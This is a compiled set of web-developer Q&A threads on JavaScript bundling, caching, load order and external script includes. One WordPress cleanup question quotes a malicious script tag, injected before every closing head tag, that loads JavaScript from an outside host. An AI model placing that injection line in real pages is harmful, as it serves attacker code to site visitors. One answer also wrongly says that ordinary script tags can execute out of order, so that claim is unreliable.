I have issues where if I make a change to a CSS or javascript file and then push it to production, the change does not get picked up by client browsers unless they do a ctrl+F5 refresh. I work in a school system with thousands of users so it's not practical for them to know to do this -- or when a change has been made to do it.
I've been reading up and the consensus seems to be to ad a "java.js?v=1.0" to the end of the file. My website uses bundling, and I don't think I'm doing something right. When I try to put this to the end of the files in the .cs config file, when I push it out my site does not recognize the references files at all any more.
For example, he's a list of files that I'm bundling:
bundles.Add(new ScriptBundle("~/bundles/utilitiesJs").Include(
"~/Scripts/jquery-{version}.js",
"~/Scripts/jquery.dynatable.js",
"~/Scripts/js-cookie.js",
"~/Scripts/bootstrap.js",
"~/Scripts/bootstrap-multiselect.js",
"~/Scripts/bootstrap-toolkit.min.js",
"~/Scripts/common.js?v=1.0",
"~/Scripts/dropdown.js?v=1.0",
"~/Scripts/waitingFor.js",
"~/Scripts/analytics.js"));
As you can see I added the "V=1.0" onto the end of common.js and dropdown.js. When I go out to the webstie and view the Page Source, these files are simply missing from the includes:
<script src="/DMC/Scripts/jquery-3.1.1.js"></script>
<script src="/DMC/Scripts/jquery.dynatable.js"></script>
<script src="/DMC/Scripts/js-cookie.js"></script>
<script src="/DMC/Scripts/bootstrap.js"></script>
<script src="/DMC/Scripts/bootstrap-multiselect.js"></script>
<script src="/DMC/Scripts/bootstrap-toolkit.min.js"></script>
<script src="/DMC/Scripts/waitingFor.js"></script>
<script src="/DMC/Scripts/analytics.js"></script>
Can somebody please tell me what I'm doing wrong? Do I need to also rename the common and dropdown files or something? I currently have them named simply as common.js and dropdown.js.
Any help you can provide would be greatly appreciated!!
If might not be as efficient but have you tried disabling caching at the page level or possibly setting a smaller cache window?
Also, if the browsers and server support it, your controlled environment makes HTTP/2 a real possibility. Things like bundling become a non-problem.
Related
right now in my footer I have 2 .js files ( jquery.min.js - myjs.js ).
So, by considering that myjs.js is a very small file 5kb can I copy this code into the jquery.min.js file to reduce 1 request?
What is better bewtween: Leave 2 files, inline myjs.js or merge this 2 files?
Thank you
As said, you can add your code to the jQuery file, however I would not recommend doing so.
Having two separate files allows you to more easily expand, debug, and modify your own code. It would also help others looking at your site (as well as you future self) understand what's going on; alljs.js is opaque compared to appjs.js and jQuery.js. Additionally, updating jQuery in future, should you want to, is much easier if jQuery isn't mixed in with your own code. And having two separate files allows the browser to cache them independently.
If you would like to only have one JS file, including your small Javascript inline is a better option. However, I would much sooner recommend other optimizations, like setting up a build process to minimize your JS and deploy it to a dedicated production server.
Yes, provided that you host the file you can modify it however you want to - after all it's basically a text file with a file .js extension. Simply open it with a text editor (or your IDE), and add your JavaScript to the bottom. Don't delete their licensing or comments though out of respect for property rights.
Better to serve 1 file for performance purposes. The establishment of the TCP link (the pipe) to fetch the second file is not insignificant. Another option is to put that other javascript in the HTML file, in a <script> tag just before the close of your <body> tag.
I'm having a weird issue that I can't seem to figure out by looking at the developer tools. All of my javascript files seem to be loading when I look at the 'network' tab in Firefox, but every time I refresh it seems (quite randomly) one or two of my javascript files will not be functioning properly.
I am super confused as to what could be causing this. I am loading all my <script> tags at the bottom of my html document before the closing </body> tag. Is there somewhere else I should be loading them for firefox? When I test this on my dev server everything loads fine, but when I upload it to AppEngine some of my js files just choose not to load.
Is there some weird thing with timeouts or loading order for firefox that I should be aware of? Or some random setting that I have turned off somewhere? I can't seem to find any documentation on the matter, either, so any links to reading would be appreciated.
Thanks!
To be clear, this isn't Firefox specific issue, FF just happens to be the browser that you are encounter it in. This is a common issue when loading js assets at runtime.
tl:dr
If you are loading assets from different locations that can cause runtime inconsistencies, shoot, even if you are requesting two separate assets from the same location you can run into issues since they are occurring in separate requests and are subject to network performance.
Option One:
Consolidate the js assets that are being render inconsistantly.
So if you're loading the following:
jquery.js
script-one.js
script-two.js
Then concat them into one asset:
jquery.js
scripts.js
Option Two:
Use a module system like require or browserify.
Longer Answer
If you are loading assets into the browser at runtime that require each other to be loaded in order to function there will always be a certain degree of risk if you aren't using any sort of module loader or build process to mitigate the solution.
Say you have to following situation
You have jquery and three plugins which needs to be loaded in a particular order. Just because you have your tags stacked in a particular order doesn't guarantee that is the order they will be available at runtime. Take the following:
<script src="jquery.js"></script>
<script src="modal.js"></script>
<script src="widget.js"></script>
Its very possible that these could load jquery > widget > modal, then jquery > modal > widget on the next. It might seem like someone is messing you, but that's just the world wide webs doing its thing. As I stated above there are common ways to solve this problem that are already well vetted and I suggest looking into them. This is also one of the main features on ES6 that people are VERY excited to for.
Hope that clears up your FF gremlins! Cheers.
It appears there is a new exploit/hack going around where a Wordpress plugin is writing a .js file before every closing </head> tags in every Wordpress installation's .php files on my server. It's writing this code before every closing head tag:
<script language="JavaScript" src="http://abtt.tv/modules/mod_servises/ua.js" type="text/javascript"></script>
My question is, how would I go about finding which files are writing code to others? That way I can find which plugin it is doing it, as I have several installations of WP in subdomains that are infected, and no idea of which one it's coming from! I'm sure there has to be a way to monitor this, whether it be my hosting company doing it or me.
If your site has been compromised, your better of by restoring a backup, but if you dont have one you're probably better of with a clean installation. But if you still wanna try to "fix" it, there are some files you could check for starters, the header theme file, the function file and all the plugin files to ensure its not enqued in a plugin to run.
the function you should be searching for is called wp_enqueue_script
I want to insert an external javascript file in my JSF page. So what I did is:
Now, the JSF file is named start.xhtml and both are sitting in the same folder. However, when I ran , there is nothing happend [ The javascript supposed to pop up alert when I click]. I checked the page source, and apparent in the .
What did I do wrong to get the RES NOT FOUND? I even put absolute path but nothing happened :(. Me sad panda.
Fyi, I am using the latest Netbeans.
Thanks,
Song.
Try including your script this way
<script src="#{facesContext.externalContext.requestContextPath}/yourPathAfterWebpages/scriptFile.js" type="text/javascript"></script>
First of all, an absolute path must work. It's not question of Netbeans or Glassfih, or JSF - it's a browser thing. And if your browser had a fault preventing it from fetching Javascript from valid urls, you would have noticed. So if your Javascript does not load, there's a 99% chance it's a plain typo, a stupid mistake (forgetting directory name, adding an extra slash or such things), and nothing to do with any of the mentioned technologies.
The other theory (just a theory - I don't have enough data to prove it) is that you have a standard mapping, showing all the faces files in a "virtual" faces directory (/faces/*). So that when you put your index.xhtml in the main directory of a Foo project, you see it under: localhost:8080/Foo/faces/index.xhtml. The "faces" part of path does not represent any real directory, it's just a mapping. So if you have a js file sitting by an index.xhtml, you would address it like: '../yourjavascript.js'; the ../ is to compensate for the virtual directory part.
Anyway, I strongly encourage you to drop your script loading dillemas and use the official and nice way of loading resources such as javascript is to put them into a directory called "resources" (make one under the "web pages" node in Netbeans, it will end up in the top directory of your .war); to get a path of any file saved under resources, you use EL like: #{resource['filename.css']}. You will load your script by:
<script src='#{resource['script.js']}' ></script>
If you use the resource directory, you can do many more things, read up on some detailshere
I am learning jQuery and have a created several plug ins.
Unfortunately due to my company's coding practices they want all javascript code to be extract out to js files. This for me poses two challenges:
Can i extract the actual $(document).ready(..) call to a js file? So far with my limited knowledge I have not figured if this at all possible. If not, I welcome any suggestions to make this cleaner and more acceptable way to include this code.
There are too many javascript includes for each asp.net page header since I may be using several plugins. Is there a way to reduce the potential costly server trips that I would need to make each time I need these files?
Any suggestions, corrections are greatly appreciated
thanks
1. Absolutely.
Just add a script reference to your html like this:
<script type='text/javascript' src='js/yourfile.js'></script>
Then just start your .js file with
jQuery(function() {
foo;
...
bar;
});
or any other shortcut ways of starting the jQuery code block.
2. You should run your scripts through something like Minify before sending them off to the user. This will combine the files and pack them in nicely, so that they take up less space.
Using $(document).ready () in an external javascript file is fine - it will work exactly the same :) In fact - not only will it work, but it is good practice as it helps to seperate the content (HTML) from the behaviour (Javascript).
In response to your section question - you can combine all of your plugins into a single javascript file and link to that one inside the <head>. You could also try minifying the scripts, although this is normally a bit overkill until the site goes live.
When I use jQuery, I normally use this kind of structure:
<html>
<head>
<!-- html tags such as title, link, meta etc -->
<script type="text/javascript" src="/path/to/jquery.js"></script>
<script type="text/javascript" src="/path/to/plugin.js"></script>
<!-- more plugins included if required -->
</head>
<body>
<!-- html here -->
<!-- script is the last thing before the ending body tag (increases performance) -->
<script type="text/javascript" src="/path/to/your_jQuery_code.js"></script>
</body>
</html>
I think worrying about server trips for javascript includes is premature optimization. Do you have any evidence that these pages are loading slowly? The browser should be caching the javascript files.
If you do have evidence that this is a problem, you could
-combine the jquery code and any plugins into one file
-write an .net content handler to do this for you (probably overkill)
Then you can add a custom js file per page to handle page specific properties.
You can most definitely put your document.ready and all other JavaScript code in an external file.
Typically I have 2 calls - one for jQuery itself, and one minified global.js file that combines and minifies all of my individual files.
Personally, I like to use front end blender for this, but there are many other options available as well.
there's nothing wrong w/putting the document.ready call in an external file. in fact, it's what i do to separate my js from my html. if you're concerned about certain functions running on certain pages, you may sift through them with a
var path = window.location.pathname;
if (path == "/yourdir/yourpage.html") {
//do something for this page only
}
or you can just include certain files only on certain pages.